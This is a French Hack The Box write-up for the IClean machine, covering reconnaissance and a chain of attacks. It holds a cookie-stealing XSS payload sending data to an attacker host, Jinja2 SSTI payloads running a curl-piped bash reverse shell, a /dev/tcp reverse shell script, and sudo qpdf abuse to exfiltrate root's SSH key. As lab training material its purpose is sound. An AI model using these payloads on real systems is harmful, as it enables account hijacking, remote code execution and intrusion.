- Platform: Hack The Box
- Link: IClean
- Level: Medium
- OS: Linux
IClean commence par un site web de services de nettoyage sur lequel nous identifions un formulaire vulnérable au Cross-Site Scripting (XSS). En exploitant cette vulnérabilité, nous récupérons un cookie de session et accédons au tableau de bord de l’application. Nous y découvrons un générateur de factures sensible à l’injection de modèle côté serveur (SSTI), ce qui nous donne un accès initial au système. Une exploration plus poussée révèle les informations d’identification de la base de données, nous permettant de récupérer des hachages de mots de passe. En craquant l’un de ces hashs, nous obtenons un accès SSH et récupérons le drapeau utilisateur. Pour obtenir le drapeau root, nous devons exploiter qpdf; dans cet article deux méthodes d’exploitation sont présentées.
Adresse IP cible - 10.10.11.12
Balayage
nmap -sC -sV -oA nmap/IClean 10.10.11.12
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 12:02 CDT
Nmap scan report for 10.129.43.201
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.33 seconds
Nmap découvre deux ports ouverts 22 (SSH) et 80 (HTTP - Apache).
Nous sommes redirigés vers capiclean.htb
lorsque nous essayons d’accéder au serveur web. Nous devons l’ajouter au fichier /etc/hosts
pour accéder au site web.
sudo echo "10.10.11.12 capiclean.htb" | sudo tee -a /etc/hosts
Enumération
L’application web est un service de nettoyage.
Nous avons deux fonctionnalités susceptibles d’être exploitées.
http://capiclean.htb/quote
(en utilisant le boutonGET A QUOTE
) nous conduit à un formulaire où nous pouvons sélectionner les services que nous désirons et entrer une adresse e-mail.
Après avoir soumis une adresse e-mail, nous arrivons à http://capiclean.htb/sendMessage
.
http://capiclean.htb/login
conduit à un formulaire de connexion avec les identifiants habituels (nom d’utilisateur et mot de passe).
Avec gobuster, nous trouvons /dashboard
mais nous sommes redirigés vers la page d’accueil lorsque nous essayons d’y accéder, probablement parce que nous n’avons pas de cookie valide.
gobuster dir -u http://capiclean.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Nous interceptons la requête que nous recevons après avoir soumis le courriel à /quote
, puisqu’il y a une fonction de connexion mais pas de bouton pour s’inscrire, essayons de voler un cookie de session afin d’accéder aux autres pages.
Nous utilisons notre payload avant d’envoyer la requête.
XSS Payload
<img+src%3dx+onerror%3dthis.src%3d"http%3a//<IP_ADDRESS>%3a<PORT_NUMBER>/cookie.php"%2bbtoa(document.cookie)>
Nous obtenons la valeur base64 du cookie.
Valeur du cookie en base64
c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpoSGZEUS5HNXJKMEhWdkJwaGFjcHIxR3pJbTlwaFFYanM=
Nous utilisons la commande ci-dessous pour le décoder.
echo 'COOKIE_VALUE' | base64 -d
Après l’avoir ajouté à notre navigateur, nous pouvons accéder à /dashboard
.
Dans Generate Invoice
, nous pouvons remplir le formulaire et obtenir un Invoice ID
.
L’utilisation de cet Invoice ID
dans Generate QR
créera un lien de code QR, et la soumission de ce lien nous permettra de voir notre document de facturation.
Accès Initial
L’application utilise manifestement un moteur de modèle pour créer les documents de facturation, ce qui signifie qu’elle pourrait être vulnérable à l’injection de modèles côté serveur (SSTI). La première étape est d’identifier le moteur de modèle utilisé.
En utilisant Wappalyzer
nous découvrons que l’application utilise Flask
et nous savons que les moteurs de modèles couramment utilisés pour Python sont Jinja2, Mako, Genshi et Cheetah.
Cette page HackTricks contient plusieurs payloads permettant de tester le SSTI et d’identifier le moteur de modèle utilisé.
Nous confirmons que Jinja2
est utilisé en utilisant le payload {{config}}
qui retourne la configuration du serveur. Il ne nous reste plus qu’à trouver le bon payload pour exécuter nos commandes sur le serveur.
Après de nombreux échecs, je trouve un payload qui fonctionne sur HackTricks.
{%25with+a%3drequest|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%25}{%25print(a)%25}{%25endwith%25}
L’étape suivante consiste à demander au serveur d’exécuter notre shell inversé. Pour ce faire, nous mettons en place un serveur web Python sur notre machine locale et configurons un listener sur le port de notre choix.
Ci-dessous se trouve le contenu de mon fichier reverse shell.
#!/bin/bash
sh -i >& /dev/tcp/IP_ADDRESS/PORT_NUMBER 0>&1
Le reverse shell se trouve dans le fichier
revshell.sh
. Après avoir envoyé la requête contenant notre payload, le serveur cible le récupère sur notre serveur web et l’exécute.
{%25with+a%3drequest|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('curl+http%3a//<IP_ADDRESS>%3a<PORT_NUMBER>/revshell.sh+|+bash')|attr('read')()%25}{%25print(a)%25}{%25endwith%25}
Nous obtenons un shell sous le nom de www-data
.
Elévation de Privilèges
Dans /home
, nous ne pouvons pas accéder au répertoire consuela
.
Nous trouvons des identifiants de base de données dans opt/app/app.py
.
Après avoir exécuté ss -lntp
, nous observons un service fonctionnant sur le port 3306, qui est le port par défaut de MySQL
.
Nous nous connectons à la base de données avec iclean:pxCsmnGLckUb
mysql -u iclean -p
Dans la base de données capiclean
, nous trouvons une table appelée users
qui contient le hachage du mot de passe de l’utilisateur consuela
.
Avec crackstation nous obtenons le mot de passe qui est simple and clean
.
Les espaces font également partie du mot de passe.
Avec les identifiants consuela:simple and clean
nous nous connectons via SSH et récupérons le drapeau de utilisateur user.txt
.
sudo -l
révèle que l’utilisateur peut exécuter /usr/bin/qpdf
en tant que root.
En parcourant la documentation de qpdf nous apprenons que --add-attachment
peut être utilisé pour ajouter des pièces jointes à un fichier.
A partir de là, nous avons deux façons d’obtenir le drapeau root:
- Nous pouvons récupérer la clé SSH de l’utilisateur root en l’attachant à un fichier pdf et nous connecter en tant qu’utilisateur root.
- Nous pouvons attacher directement le drapeau root (parce que c’est simplement un fichier .txt) à un fichier pdf, l’ouvrir dans une visionneuse de documents et lire le drapeau.
Première méthode
Tout d’abord, nous attachons la clé SSH de l’utilisateur root à un fichier pdf, nous nous connectons en tant qu’utilisateur root via SSH et nous saisissons le drapeau root.
sudo /usr/bin/qpdf --empty /tmp/root.pdf --qdf --add-attachment /root/.ssh/id_rsa --
La clé SSH se trouve dans le contenu du fichier pdf. Il suffit d’utiliser cat root.pdf
pour obtenir la clé privée SSH de l’utilisateur root.
Nous la copions sur notre machine locale et nous nous assurons de changer les permissions avec chmod 600
. Nous pouvons alors nous connecter en tant que root via ssh.
ssh root@capiclean.htb -i id_rsa
Deuxième méthode
Pour cette méthode, nous téléchargeons un pdf sur la cible et nous y attachons le drapeau root.
sudo /usr/bin/qpdf --add-attachment /root/root.txt -- dummy.pdf root2.pdf
Dans cet exemple, nous téléchargeons le fichier créé root2.pdf
. Nous ouvrons ensuite le fichier pdf, cliquons sur le menu déroulant dans le coin supérieur gauche et choisissons Attachments
.
Mots de fin
Si vous souhaitez en savoir plus sur les vulnérabilités web présentées sur cette machine, vous pouvez le faire sur TryHackMe (cette liste n’est pas exhaustive):
XSS -> XSS and Intro to Cross-site Scripting
SSTI -> Server-side Template Injection and SSTI
Pour un parcours plus structuré, vous pouvez utiliser l’académie PortSwigger (totalement gratuite) ici, elle couvre toutes ces vulnérabilités web et plus encore.